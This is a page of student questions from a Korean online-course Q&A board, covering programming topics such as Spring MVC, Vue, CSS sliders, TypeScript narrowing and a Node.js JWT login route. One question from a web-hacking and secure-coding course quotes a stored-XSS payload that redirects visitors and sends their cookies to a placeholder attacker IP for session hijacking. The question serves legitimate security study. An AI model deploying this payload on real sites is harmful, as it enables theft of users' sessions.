묻고 답해요
158만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결[C#/.NET 8.0]어서와, WinForm은 처음이지?
마지막 강의 소스 코드를 실행할 때
안녕하세요. 항상 도움 받고있습니다마지막 강의 소스코드를 실행 할 때, 아래처럼 에러가 나는데 어떤 방향으로 해결하면 좋을까요? 추측하기로는 강의 초반부에 DB가져다가 쓸 때,Nuget콘솔에다가 이름이랑 패스워드등을 넣어서 코드를 생성하셨었는데요 . 그걸 안하고 소스코드를 써서 그런것아닐까싶습니다. 에러 내용:Npgsql.PostgresException: '28P01: ����� "postgres"�� password ������ �����߽��ϴ�'
-
해결됨웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩
세션 하이재킹 질문
127.0.0.1/session/session.php?session=test이것으로 rawdata.txt에날짜와 시간/ip주소/test는 잘 출력이 되었습니다.다른 웹브라우저에서 공격자id로 접속해서 다음과 같이 게시판을 작성하였으며 그때 ip주소를 어떻게 할당받는지가 궁금합니다.<script>location.href = "http://공격자ip/session/session.php?session=" + document.cookie</script>이 게시판의 내용은 rawdata.txt에 저장되지 않습니다.무엇이 잘못되었을까요?
-
미해결자바 코딩테스트 - it 대기업 유제
cpu 스케줄링
package chapter3.sol5_cpu_스케줄링; import java.util.*; public class Solution { public int[] solution(int[][] tasks) { int[] answer = new int[tasks.length]; Queue<int[]> q = new PriorityQueue<>(Comparator.comparingInt((int[] a) -> a[1]).thenComparingInt(a -> a[0])); int[] ch = new int[tasks.length]; for (int s = 0, i = 0; ; s++) { for (int j = 0; j < tasks.length; j++) { if (tasks[j][0] <= s && ch[j] == 0) { q.offer(new int[] {j, tasks[j][1]}); ch[j] = 1; } } if (!q.isEmpty()) { int[] poll = q.poll(); answer[i++] = poll[0]; s += poll[1] - 1; } if (i == tasks.length) break; } return answer; } public static void main(String[] args) { Solution T = new Solution(); System.out.println(Arrays.toString(T.solution(new int[][] {{2, 3}, {1, 2}, {8, 2}, {3, 1}, {10, 2}}))); System.out.println(Arrays.toString(T.solution(new int[][] {{5, 2}, {7, 3}, {1, 3}, {1, 5}, {2, 2}, {1, 1}}))); System.out.println( Arrays.toString(T.solution(new int[][] {{1, 2}, {2, 3}, {1, 3}, {3, 3}, {8, 2}, {1, 5}, {2, 2}, {1, 1}}))); System.out.println(Arrays.toString(T.solution(new int[][] {{999, 1000}, {996, 1000}, {998, 1000}, {999, 7}}))); } } 안녕하세요 정답 코드가 아닌 이 코드도 가능한지 궁금합니다!
-
미해결[2025년 출제기준] 웹디자인기능사 실기시험 완벽 가이드
visibility:hidden; 적용 문제
<!DOCTYPE html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>index</title> <link rel="stylesheet" href="css/style.css"> </head> <body> <div class="container"> <header> <div class="header-logo"></div> <div class="nav"></div> </header> <div class="slide"> <div> <a href="#none"><img src="images/1200-1.jpg" alt="slide-1"></a> <a href="#none"><img src="images/1200-2.jpg" alt="slide-2"></a> <a href="#none"><img src="images/1200-3.jpg" alt="slide-3"></a> </div> </div> <div class="items"> <div class="news"></div> <div class="banner"></div> <div class="shortcut"></div> </div> <footer> <div class="footer-logo"></div> <div class="copyright"> <div></div> <div></div> </div> </footer> </div> <script src="script/jquery-1.12.4.js"></script> <script src="script/custom.js"></script> </body> </html> @charset "utf-8"; body { margin: 0; } .container { margin: auto; width: 1200px; border: 1px solid #000; } header { display: flex; justify-content: space-between; } header > div { height: 100px; border: 1px solid #000; } .header-logo { width: 200px; } .nav { width: 600px; } /* slide */ .slide { position: relative; width: 1200px; height: 300px; border: 1px solid #000; } .slide > div { font-size: 0; } .slide > div > a { position: absolute; top: 0; left: 0; animation: slide 10s linear infinite; opacity: 0; } .slide > div > a:nth-child(2) { animation-delay: 3.5s; } .slide > div > a:nth-child(3) { animation-delay: 7s; } @keyframes slide { 0% { opacity: 0; visibility: hidden; } 5% { opacity: 1; } 35% { opacity: 1; } 40% { opacity: 0; } 100% { opacity: 0; } } /* slide */ .items { display: flex; } .items > div { height: 200px; border: 1px solid #000; flex:1; } footer { display: flex; } footer > div { height: 100px; border: 1px solid #000; } .footer-logo { width: 200px; } .copyright { width: 1000px; } .copyright > div { box-sizing: border-box; border: 1px solid #000; height: 50%; }현재 섹션8-5번 강의 수강중입니다.강의에서 말씀하신대로 세번째 슬라이드 사진이 투명도 0 상태로 최상위 계층에 있는 상태여서 visibility: none; 속성을 주었는데, 속성을 넣어도 다른 슬라이드 사진을 눌러도 세번째 슬라이드사진이 클릭 되는데 어떤부분이 잘못되었을까요?
-
미해결Vue 3 시작하기
로컬이 안뜹니다..
로컬 화면이 강사님과 동일하게 뜨지 않는데.. 어떻게 하면 될까요..?
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
핵심원리, MVC강의
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오)[질문 내용]핵심원리 강의에서는 스프링 컨테이너와 스프링 빈 중점으로 배웠고 appconfig를 이용해서 설계했습니다. MVC강의에서는 서블릿을 배우며 어떻게 html이 작동되는지 배웠습니다. 근데 저는 여기서 MVC는 왜 appconfig를 이용하지 않았을까라는 궁금함이 생겼고, MVC에서 핵심원리에 배웠던게 많이 나오지만 핵심원리에서 배운 복잡한 구조를 MVC에서는 사용을 안해도 되는걸까라는 의문점이 생겼습니다. 당연한 소리일 수 있겠지만 혼란스러워 질문을 드립니다. 감사합니다.
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
edit부분에서 @ModelAttribute 질문이 있습니다.
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오)[질문 내용]@PostMapping("/{itemId}/edit") public String edit(@PathVariable Long itemId, @ModelAttribute Item item) { itemRepository.update(itemId, item); return "redirect:/basic/items/{itemId}"; } @ModelAttribute Item item을 사용하게 되면 Model을 추가하는 기능과 model.addAttribute("item", item);을 자동적으로 실행한다고 배웠습니다. 그렇게 되면 모델에 담겨있던 기존 요소의 정보가 업데이트 되는게 아니라 그대로 있고, 기존의 요소를 업데이트 하려했던 item의 정보까지 추가적으로 보내지는거 아닌가요?
-
해결됨10주완성 C++ 코딩테스트 | 알고리즘 코딩테스트
3-P 코드 질문있습니다.
안녕하십니까 큰돌님 !강의 보기 전에 먼저 풀어봤습니다.http://boj.kr/07da2671b1834ef48a660cf8b6b03b08전에 벽을 세우는 문제처럼 풀면 되겠다 싶어서꽃 중심부 심을 수 있는 부분을 v 벡터에 넣고퍼뜨리고 겹치는 부분 없으면 더 해서 최솟값 비교반복하면서 visited 와 flag 초기화이런 식으로 작성했습니다. 접근 방법과 코드를 잘 작성했는지 궁금합니다.근데 백트래킹을 사용하는 것보다는 비효율적이겠죠 ??
-
미해결백엔드 애플리케이션 성능 개선하기 - 기초편
질문있습니다!!
스노우 플레이크를 통해 id값을 만들어 내는 이유가 인덱싱(타임 스탬프 순으로의 정렬)과 절대 중복될 수 없는 key 값을 만들어내서, 기존 생성API의 메커니즘인 Select(중복 여부 조건 검사) -> Insert의 방식에서 스노우 플레이크로 인해 중복이 될 수 없으니 Select 쿼리에 대한 비용을 줄이는 것으로 성능을 개선하는 방식이다. 그리고 여기에 추가로 비동기로 URL 생성을 진행했하고 클라이언트는 응답을 미리 받고, 실질적으로 Insert 쿼리를 날려 DB에 저장하는 부분은 백그라운드로 진행함으로써 Latency를 앞당기는 것으로 성능을 개선했다고 이해하면 될까요??
-
해결됨React, Node.js, MongoDB로 만드는 나만의 회사 웹사이트: 완벽 가이드
req.cookies.token == undefined 현상
logout을 해보니 400BadRequest:이미 로그아웃 됨 상태가 지속됩니다. console.log(req.cookies.token); 출력해보니 undefined 라고 출력됩니다. 쿠키를 제대로 읽지 못하는것 같은데 왜 이런 현상이 뜨는지 궁금합니다.. const express = require("express"); const router = express.Router(); const bcrypt = require("bcrypt"); const User = require("../models/User"); const axios = require("axios"); const jwt = require("jsonwebtoken"); router.post("/signup", async (req, res) => { try { const { username, password } = req.body; const existingUser = await User.findOne({ username }); if (existingUser) { return res.status(400).json({ message: "이미 존재하는 사용자입니다." }); } const hashedPassword = await bcrypt.hash(password, 10); const user = new User({ username, password: hashedPassword, }); await user.save(); res.status(201).json({ message: "회원가입이 완료되었습니다." }); } catch (error) { res.status(500).json({ message: "서버 오류가 발생했습니다." }); console.log(error); } }); router.post("/login", async (req, res) => { try { const { username, password } = req.body; const user = await User.findOne({ username }).select("+password"); //왜인지 password가 select되지 않아서 추가함 if (!user) { return res.status(401).json({ message: "존재하지 않는 사용자입니다." }); } if (!user.isActive) { return res.status(401).json({ message: "비활성화된 사용자입니다." }); } if (user.isLoggedIn == true) { return res.status(401).json({ message: "이미 접속 중인 사용자입니다." }); } const isValidPassword = await bcrypt.compare(password, user.password); //비밀번호 비교 if (!isValidPassword) { user.failedLoginAttempts += 1; user.lastLoginAttempt = new Date(); if (user.failedLoginAttempts >= 5) { user.isActive = false; //다섯번 틀리면 계정 비활성화 ㅋㅋ await user.save(); return res.status(401).json({ message: "비밀번호를 5회 이상 틀려 계정이 비활성화되었습니다.", }); } await user.save(); return res.status(401).json({ message: "비밀번호가 일치하지 않습니다.", remainingAttempts: 5 - user.failedLoginAttempts, }); } user.failedLoginAttempts = 0; user.lastLoginAttempt = new Date(); user.isLoggedIn = true; try { const response = await axios.get("https://api.ipify.org?format=json"); //공공장소 사용금지요 const ipAddress = response.data.ip; //한번 정제함 user.lastLoginIp = ipAddress; } catch (error) { console.log("IP 주소를 가져오는데 실패했습니다: ", error.message); } await user.save(); const token = jwt.sign( { userId: user._id, username: user.username }, process.env.JWT_SECRET, { expiresIn: "24h" } //토큰 만료는 24시간 ); console.log(token); //오 된다 res.cookie("token", token, { httpOnly: true, //자바스크립트에서 쿠키 접근 불가 secure: "production", //https에서만 쿠키 전송 sameSite: "strict", //같은 사이트에서만 쿠키 전송 maxAge: 24 * 60 * 60 * 1000, //24시간 }); const userWithoutPassword = user.toObject(); //구글링 해보니 이렇게 하면 문서 타입을 일반 객체로 변환할 수 있다고 한다 delete userWithoutPassword.password; //보안때문에 비밀번호는 삭제할 수 있다고 한다 res.json({ user: userWithoutPassword }); } catch (error) { console.log("서버 오류: ", error); res.status(500).json({ message: "서버 오류가 발생했습니다." }); } }); router.post("/logout", async (req, res) => { console.log(req.cookies.token); try { const token = req.cookies.token; if (!token) { return res.status(400).json({ message: "이미 로그아웃된 상태입니다." }); } try { const decoded = jwt.verify(token, process.env.JWT_SECRET); const user = await User.findById(decoded.userId); if (user) { user.isLoggedIn = false; await user.save(); } } catch (error) { console.log("토큰 검증 오류: ", error.message); } res.clearCookie("token", { httpOnly: true, secure: "production", sameSite: "strict", }); res.json({ message: "로그아웃되었습니다." }); } catch (error) { console.log("로그아웃 오류: ", error.message); res.status(500).json({ message: "서버 오류가 발생했습니다." }); } }); router.delete("/delete/:userId", async (req, res) => { try { const user = await User.findByIdAndDelete(req.params.userId); if (!user) { return res.status(404).json({ message: "사용자를 찾을 수 없습니다." }); } res.json({ message: "사용자가 성공적으로 삭제되었습니다." }); } catch (error) { res.status(500).json({ message: "서버 오류가 발생했습니다." }); } }); module.exports = router;
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
edit부분에서 @ModelAttribute 궁금한게 있습니다.
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오)[질문 내용]@PostMapping("/{itemId}/edit") public String edit(@PathVariable Long itemId, @ModelAttribute Item item) { itemRepository.update(itemId, item); return "redirect:/basic/items/{itemId}"; } @ModelAttribute Item item을 사용하게 되면 Model을 추가하는 기능과 model.addAttribute("item", item);을 자동적으로 실행한다고 배웠습니다. 그렇게 되면 모델에 담겨있던 기존 요소의 정보가 업데이트 되는게 아니라 그대로 있고, 기존의 요소를 업데이트 하려했던 item의 정보까지 추가적으로 보내지는거 아닌가요?
-
미해결[코드캠프] 부트캠프에서 만든 고농축 프론트엔드 코스
안녕하세요, 신규 강의 문의드립니다.
신규 강의가 생겨서 듣고 싶은데 쿠폰 제공 가능할까요? 메일 확인 부탁드립니다. 감사합니다.
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
안녕하세요! 질문이 있습니다
안녕하세요. 강의 너무 잘 듣고 있습니다. 초장부터 이런식으로 질문드리는 거 안된다는 걸 잘알고 있지만 너무 죄송스럽게도 정말 도저히 모르겠는 부분이 있습니다.어차피 나중에 혼자 프로젝트도 진행해봐야 하니 저는 강의 자료가 아니고 직접 프로젝트를 만들어서 따라가보려고 start.io 페이지에서 만든 프로젝트를 인텔리제이에 불러오려고 했는데 빌드할 때 동기화 부분에서 실패합니다. 근데 이게 어떤 오류 메시지도 나오지 않고 저렇게 실패라고만 나와서 원인을 알기 어렵습니다. PC에 설치된 자바 버전 21로 3이상을 사용해야 하기 때문에 17이상으로 다시 설치했고 강의대로 따라했는데 혹시 강의 자료처럼 빌드가 완료되려면 강의 내용뿐만이 아니라 다른 설정이 더 필요한건가요?
-
미해결[코드팩토리] [초급] 8시간만에 끝내는 코드팩토리의 Typescript 완전정복 풀코스
Equality Narrowing 관련 질문
[코드팩토리] [초급] 8시간만에 끝내는 코드팩토리의 Typescript 완전정복 풀코스의 Narrowing 강좌중Equality Narrowing 관련 질문입니다.예시로let numborOrString2 : number | string = Math.random() > 0.5 ? 1123 : '아이유'; let stringOrBoolean2 : string | boolean = Math.random() > 0.5 ? '아이브' : true; if (numborOrString2 === stringOrBoolean2){ numborOrString2; stringOrBoolean2; } else { numborOrString2; stringOrBoolean2; }주셨는데.. 이 예시를 보면 Narrowing이 되는것을 확인 할수 있지만1. '===' 은 실체 같은지 까지 비교 하고는 오퍼레이터로 알고 있는데요.. 그럼 if 절이 true인 경우는 없어서 실제 사용할수 없는 코드가 아닌가 하는 의문이 있습니다.1번과 같은 질문일수도 있는데.. type이 같은지('string')를 확인 할 목적인데 왜 '===' 사용할까 하는 의문과if ((typeof numborOrString2) === (typeof stringOrBoolean2))사용하는 것이 좋지 않을까 생각해 봤는데..실제 narrow은 되지 않는 것을 확인했습니다. 좀 혼란스럽습니다.
-
미해결앨런 iOS 앱 개발 (15개의 앱을 만들면서 근본원리부터 배우는 UIKit) - MVVM까지
Project 명칭 변경방법이 궁금합니다.
안녕하세요..프로젝트를 설정할 때 명칭을 신경안쓰고, 그냥 타이핑해서 생성한 후에 최종까지 앱을 만든 후에 보니 프로젝트 명이 BMI 면 ㅠㅡㅑ 로 되어 있는 경우가 발생했습니다. 이경우 프로젝트 명을 간단히 영문으로 BMI로 변경할 수 있는 방법이 있을까요? 오른쪽에 있는 FileInspector 있는 Name을 변경했는데, 실행할 때 게속 오류가 나서, 현재는 해당 프로젝트를 다시 만들고 있는데, 쉽게 해결할 수 있는 방법이 없을까요?
-
미해결[리뉴얼] 맛집 지도앱 만들기 (React Native & NestJS)
오류에 대한 질문입니다.
npx react-native run android를 하면은 이러한 오류가 발생하면서 실행이 되지않습니다.강의와 동일한 버전을 사용하였고, 윈도우 유저입니다.이미지는 현재 package.json 버전과, 오류입니다.
-
해결됨대용량 채팅 TPS 처리를 위한 웹소켓 통신 만들며 학습하기
RunInit() 관련 질문
현재 웹소켓 구조는 커넥션당 고루틴이 발생하여 블록되어 있는 구조이고 동시에 많은 트래픽이 들어올 경우에 각 커넥션을 담당하는 고루틴들에서 동시에 요청을 처리하기 때문에, RunInit() 같은 메시지 채널을 관리하는 고루틴을 두게 되면, 구조는 깔끔해지지만, 병목이 생길 포인트인 것 같습니다. 그래서 이를 완화하기 위해서 RunInit() 고루틴을 포문으로 여러 개 돌게 할지, 아니면 굳이 RunInit()과 같은 메시지 채널관리용 고루틴을 만들 필요가 있는 건지 의문이 생깁니다. RunInit()과 같은 패턴을 사용하는 것은 강사님 소스에서 뿐만 아니라, 다른 프로젝트에서도 많이 봤어서 관련하여 강사님의 답변을 듣고 싶습니다!
-
해결됨[리뉴얼] 맛집 지도앱 만들기 (React Native & NestJS)
질문있습니다
선생님 혹시 글작성하는 현 시점에서 cli방식말고 expo로 코딩을하여도 문제가 없나요?아니면 강의를 따라가는데 어려움이 좀 많을까요? 또한 윈도우에서는 섹션2의 [1-5]에 ruby 설정을 안해도되는건가요?? 그리고, react-navigation은 강의와 동일한 6.x 버전을 사용하면되나요?
-
해결됨(2025) 일주일만에 합격하는 정보처리기사 실기
4:30 스위치 문에 for문은 생략인가요
4:30 스위치 문 바로 위 for문은 생략하면 되는건지요?
-
미해결[최신] Vue 강의 끝판왕 : Nuxt 3 완벽 마스터
eslint prettier 설정 오류
강의 교안대로 따라 설정했는데.. 문서 작성만하면 이런 빨간 오류들이 뜹니다,,